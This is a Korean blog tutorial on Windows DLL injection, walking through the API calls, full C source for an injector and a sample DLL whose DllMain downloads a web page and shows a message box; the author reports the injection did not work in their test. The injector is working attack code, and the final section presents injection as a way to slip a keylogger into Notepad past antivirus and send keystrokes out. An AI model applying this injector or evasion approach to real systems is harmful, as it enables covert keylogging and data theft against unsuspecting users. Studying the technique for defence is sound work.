Try Attack/Reverse Engineering[basic]

[전지적해커시점] DLL Injection

D4tai1 2020. 5. 3.

안녕하세요.

 

여기 들어오신 분은 DLL injection이 궁금해서 들어오셨겠죠?

 

 

음...

 

DLL Injection은 전지적 해커시점에서 보아야 합니다.

 

 

시작부터 무슨말이냐고요?

 

프로세스 하나를 보는 것이 아니고 

 

어떤 프로세스가 어떤 프로세스에게 어떤 행위를 했다..

 

그럼 무슨 일이 일어난다..

 

그런데 이것을 왜? 할까..

 

 

이런식으로 보자는 말이죠!

 

 


 

1. 상식알고가기

 

운전을 하려면 신호등 색이 의미하는 것을 알아야겠죠?

 

DLL인젝션을 하기 전에도 알아야할 상식이 있답니다.

 

 

[1] DLL(Dynamic Link Library)이란?

 

실행파일이 실행될 때 프로세스에 할당된 메모리에 함께 로드된다.

 

 

[2] DLL의 특성

 

 DLL은 메모리에 로드되면 DllMain을 실행한다.

 

 이 말은 DLL을 프로세스에 삽입하면 DllMain이 실행될 것이고?

그렇다면 DllMain에 나쁜코드를 넣어서 실행할 수도 있겠죠?

 

아.. 뭐 좋은 코드를 넣을 수도 있구요.. 하하

 

※ 7ip) 원래 DllMain의 목적은 프로세스나 스레드별 초기화

수행하기 위한 목적으로 사용된답니다.

 


2. DLL인젝션 준비물

 

[1] 인젝션할 DLL의 절대경로

 준비물이라고 하기도 민망하지만 내가 삽입할 DLL의 경로정도는 알아야겠죠?

 

[2] 인젝션할 DLL절대경로의 길이

▶ 인젝션할 프로세스의 메모리에 DLL의 절대경로를 쓰려면

절대경로의 문자열길이만큼 쓸 수 있도록 할당해야하기 때문이죠

 

이제 Start!

 


3. DLL Injection이란?

 

▶ 간단하게 말하면 특정 프로세스에 DLL을 삽입하는 것을 말합니다.

그러면 특정 프로세스에서 내가 원하는 행위를 할 수 있죠!

 


 

4. How to DLL Injection?

1) 인젝션할 프로세스의 ID를 얻기

[1] GetWindowThreadProcessId();

DWORD GetWindowThreadProcessId(HWND hWnd, LPDWORD lpdwProcessId );
1) hWnd : 창의 핸들


2) lpdwProcessId : PID를 얻어올 주소


 > return value : DWORD타입의 윈도우를 생성한 TID(스레드식별자)

 

 사용이유 : 프로세스에 대한 제어권을 가지기 위해서 PID얻기

 

※ 7ip) GetCurrentProcess()나 GetCurrentProcessId()로도

PID를 얻을 수 있지만 이 아이들은 자신의 PID밖에 얻을 수 없답니다.

 


 

2) 인젝션할 프로세스의 핸들 얻기(feat.PID)

[1] HANDLE hProcess = OpenProcess();

HANDLE OpenProcess( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId );
1) dwDesiredAccess : 프로젝트에 대한 접근권한


2) bInheritHandle : TRUE면 프로세스가 핸들을 상속, FALSE면 상속안함


3) dwProcessId : 프로세스 식별자(PID)


 > return value : HANDLE타입의 프로세스에 대한 핸들

 

 사용이유 : DLL인젝션을 하기위해 인젝션할 프로세스의 핸들을 얻기

 

※ 7ip) OpenProcess의 3번째 파라미터로

PID가 들어가기 때문에 1)에서 PID를 얻었답니다.

 


 

3) 인젝션할 프로세스의 메모리 내 작성할 공간 확보

 위에 준비물로 준비한 내용을 사용할 시간입니다.

 

[1] LPVOID pRemoteBuf = VirtualAllocEx();

LPVOID VirtualAllocEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
1) hProcess : 인젝션할 프로세스의 핸들


2) lpAddress : 할당할 주소, NULL을 넣으면 할당위치 자동설정


3) dwSize : 할당할 메모리의 크기(byte)


4) flAllocationType : 할당유형을 의미하나 전체메모리 내에 할당하려면 MEM_COMMIT(0x1000)


5) flProtect : 할당된페이지에 대한 권한[PAGE_READWRITE(0x4)로 설정 시 읽고 쓰기 가능]
 - PAGE_EXECUTE_READWRITE(0x40), PAGE_READONLY(0x2) 등이 있으며 자세한 내용은 아래 링크 참조
 - Memory Protection Constants : https://docs.microsoft.com/ko-kr/windows/win32/memory/memory-protection-constants


 > return value : LPVOID타입의 할당된페이지의 시작주소

 

 사용이유 : 인젝션할 프로세스에 인젝션할 DLL의 경로를 적기위해 작성가능한 버퍼를 할당

 


 

4) 인젝션할 프로세스의 메모리 내 DLL의 절대경로 쓰기

[1] WriteProcessMemory();

BOOL WriteProcessMemory( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize,
                                      SIZE_T *lpNumberOfBytesWritten );
1) hProcess : 인젝션할 프로세스의 핸들


2) lpBaseAddress : VirtualAllocEx()에서 얻어온 pRemoteBuf로 인젝션할 프로세스에 DLL절대경로를 작성할 시작주소


3) lpBaseAddress : DLL의 절대경로가 작성된주소


4) nSize : Write할 바이트 크기(DLL의 절대경로의 길이보다 조금크게 지정)


5) lpNumberOfBytesWritten : Write가 잘 되었는지 작성한 바이트를 저장하는 주소, 필요없을 경우 NULL


 > return value : BOOL타입으로 실패 시 0을 반환

 

 사용이유 : 인젝션할 프로세스에 인젝션할 DLL의 경로 작성

 


 

5) DLL호출을 위해서 호출하는 함수의 주소얻기

 간단히 요약부터 하면 

 DLL을 로드하는 LoadLibrary라는 API가 있습니다.

 

 그런데 LoadLibrary는 kernel32.dll 내에 존재하네요?

 

 그렇다면 우리는 kernel32.dll의 핸들을 얻어온 후

LoadLibrary함수가 어디에 위치하는지 찾아볼까요?

 

 

[1] hModule = GetModuleHandle("kernel32.dll");

▶ kernel32.dll의 핸들을 얻었습니다.

 

[2] pThreadProc = (LPTHREAD_START_ROUTINE) GetProcAddress(hModule, "LoadLibrary");

▶ kernel32.dll의 핸들을 가지고 LoadLibrary의 주소를 알아냅니다.

 


 

6) 인젝션할 프로세스에 원격스레드 생성

 이제 기초공사는 다 끝났습니다!

LoadLibrary()만 실행하면 DLL이 인젝션할 프로세스의 메모리 내에 올라가게 됩니다.

그 말은 DLL이 삽입되었기 때문에 DllMain()이 호출된다는 말이겠죠?

DllMain()이 호출된다는 말은 내가 원하는 행위를 원격프로세스에서 할 수 있다는 말이 됩니다.

 

▶ 그래서 LoadLibrary()를 실행시켜줄 스레드를 인젝션할 프로세스에 삽입시켜주고

스레드의 시작주소를 LoadLibrary의 주소로 설정 후

LoadLibrary의 파라미터에 아까 [4]에서 메모리에 썼던 DLL의 절대경로를 넣어주려고 합니다.

 

 

[1] hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemotebuf, 0, NULL);

HANDLE CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
1) hProcess : 인젝션할 프로세스의 핸들


2) lpThreadAttributes : 보안속성(접근제어 및 자식프로세스와의 상속유무 등), 특별한 속성이 없다면 NULL


3) dwStackSize : 스택의 초기사이즈(byte), 0을 넣으면 스레드는 실행파일의 default size를 사용


4) lpStartAddress : 인젝션할 프로세스에서 스레드의 시작주소(LoadLibrary의 주소)


5) lpParameter : 스레드가 실행할 함수의 파라미터(인젝션할 프로세스의 메모리에 작성한 DLL경로)


6) dwCreationFlags : 0을 넣으면 스레드 생성직후에 실행,
 - CREATE_SUSPENDED(0x4)를 넣으면 스레드는 일시정지 상태로 생성(ResumeThread함수 호출 전까지 대기)


7) lpThreadId : 스레드식별자(TID)를 저장하기위한 주소, 필요없다면 NULL


 > return value : HANDLE타입의 스레드에 대한 핸들

 

 


5. 소스

 

[1] injector(인젝션할 프로그램)의 소스

#include <Windows.h>
#include <tchar.h>
#include <stdio.h>

BOOL Go_Injection(DWORD hwPID, LPCSTR DllPath) {
	HANDLE hProcess = NULL;		//프로세스 핸들 
	HANDLE hThread = NULL;		//쓰레드 핸들
	HMODULE hMod = NULL;		//모듈 핸들

	LPVOID pRemoteBuf = NULL;	//DLL경로를 기록한 메모리 주소를 넣을 포인터변수

	//쓰레드 시작 루틴 함수주소를 저장할 변수
	LPTHREAD_START_ROUTINE pThreadProc;

	//인젝션 할 프로세스 제어권 얻기
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, hwPID);
	printf(" [+] 프로세스의 핸들(hProcess) : %d\n", hProcess);

	//DLL경로의 길이 얻기
	DWORD dwBufSize = (DWORD)(strlen(DllPath) + 1);// *sizeof(TCHAR);
	printf(" [+] DLL의 길이 : %d byte\n", dwBufSize);

	//인젝션 할 DLL 경로를 해당 프로세스에 기록
	pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READONLY);
	WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)DllPath, dwBufSize, NULL);
	printf(" [+] 인젝션할 프로세스 내 할당받은 메모리주소 : 0x%p\n", pRemoteBuf);
	printf(" [+] 할당받은 주소에 작성할 DLL의 경로 : %s\n", DllPath);

	//Write한 DLL을 프로세스에서 로드하기 위한 작업
	hMod = GetModuleHandleA("kernel32.dll");
	pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryA");
	printf(" [+] 스레드의 시작주소(LoadLibrary) : 0x%p\n", pThreadProc);

	//Write한 DLL을 인젝션할 프로세스에 스레드 생성 후 스레드의 시작주소로 LoadLibraryA를 지정
	hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);
	printf(" [+] 인젝션한 프로세스에서 실행한 스레드 식별자 : %d\n", hThread);

	//쓰레드가 실행될 때까지 무한정 대기
	WaitForSingleObject(hThread, INFINITE);

	CloseHandle(hThread);
	CloseHandle(hProcess);

	return 1;
}

int main(int argc, CHAR *argv[]) {
	if (argc != 3) {
		printf(" [-] Usage : %s [Process_Name] [DLL_Path] \n", argv[0]);
		//argv[0] = 인젝션시킬프로그램,  argv[1] = 인젝션할 프로세스이름, argv[2]  = dll경로
		return 0;
	}
	
	DWORD dwPID = 0xFFFFFFFF;		//PID = -1

	HWND hWnd = FindWindowA(NULL, argv[1]);
	printf(" [+] 프로세스의 창 번호(hWnd) : %d\n", hWnd);

	GetWindowThreadProcessId(hWnd, &dwPID);
	printf(" [+] 프로세스 식별자(PID) : %d\n", dwPID);

	//Go_Injection 함수의 인자로 PID와 DLL의 경로를 넘겨줌
	//Go_Injection함수 정상동작 시 True반환
	BOOL flag = Go_Injection(dwPID, argv[2]);

	//if (flag) {
	//	printf(" [+] Success \n");
	//}
	//else {
	//	printf(" [-] Fail\n");
	//}

	return 0;
}

 

 

[2] very_very_important.dll(프로세스에 삽입할 dll)의 소스

#include "stdafx.h"
#include <Windows.h>
#include <stdio.h>
#include <urlmon.h>

#pragma comment(lib, "urlmon.lib")

#define DEF_DAUM_ADDR "https://daum.net/index.html"
#define DEF_SAVE_PATH "C:\\Users\\O_0\\Desktop\\index.html"

DWORD WINAPI ThreadProc(LPVOID lParam)
{
	URLDownloadToFileA(NULL, DEF_DAUM_ADDR, DEF_SAVE_PATH, 0, NULL);
	MessageBoxA(NULL, " [+] Success", "caption", MB_OK);

	return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
	HANDLE hThread = NULL;

	switch (fdwReason)
	{
	case DLL_PROCESS_ATTACH:
		hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
		//스레드를 생성하고 스레드의 시작주소를 ThreadProc로 지정 후 실행

		CloseHandle(hThread);
		break;
	}

	return TRUE;
} 

 

[3] 실행결과

 

[그림1] DLL Injection 결과

나머지 값은 정상적으로 다 얻어와지는데..

 

왜... CreateRemoteThread가 제대로 되지 않을까요..?

 

Write까지 되는 것 같은데 말이죠..

 

 

결국 제 눈으로 메세지박스는 확인하지 못했답니다.

 

원인은 32비트->32비트/64비트->64비트 운영체제에만 인젝션이 가능하며

주소체계가 다르기 때문에 안되는 것으로 보이며

 

다른함수를 사용해서 호환해서 인젝션이 가능하다고 하네요


 

6. 궁금증?

 

그런데 나쁜짓을 하고 싶으면 그런 exe를 만들면되지!

DLL을 만들고 그 DLL을 인젝션하는 exe를 만드는지 궁금하지 않으신가요?

 

원래 프로세스를 실행시키면 백신이 실행 전 검사를 합니다.

그런데 여기 비밀이 있습니다..

 

DLL이 로드되었을 때 OS는 DllMain()함수를 호출한다고 했죠?

그런데 말입니다.

 

OS가 호출하는 함수는 검사대상이 아닙니다.

 

즉, 키로거를 실행시키면 검사를 하지만, 

메모장에 키로거 코드가 작성된 DllMain()이 있는 dll을 삽입한다면

입력된 내용이 외부로 전송되도록 할 수 있습니다.

 

이같은 행위가 걸리지 않는 이유는?

메모장은 안전한 프로그램이기 때문입니다.

 

댓글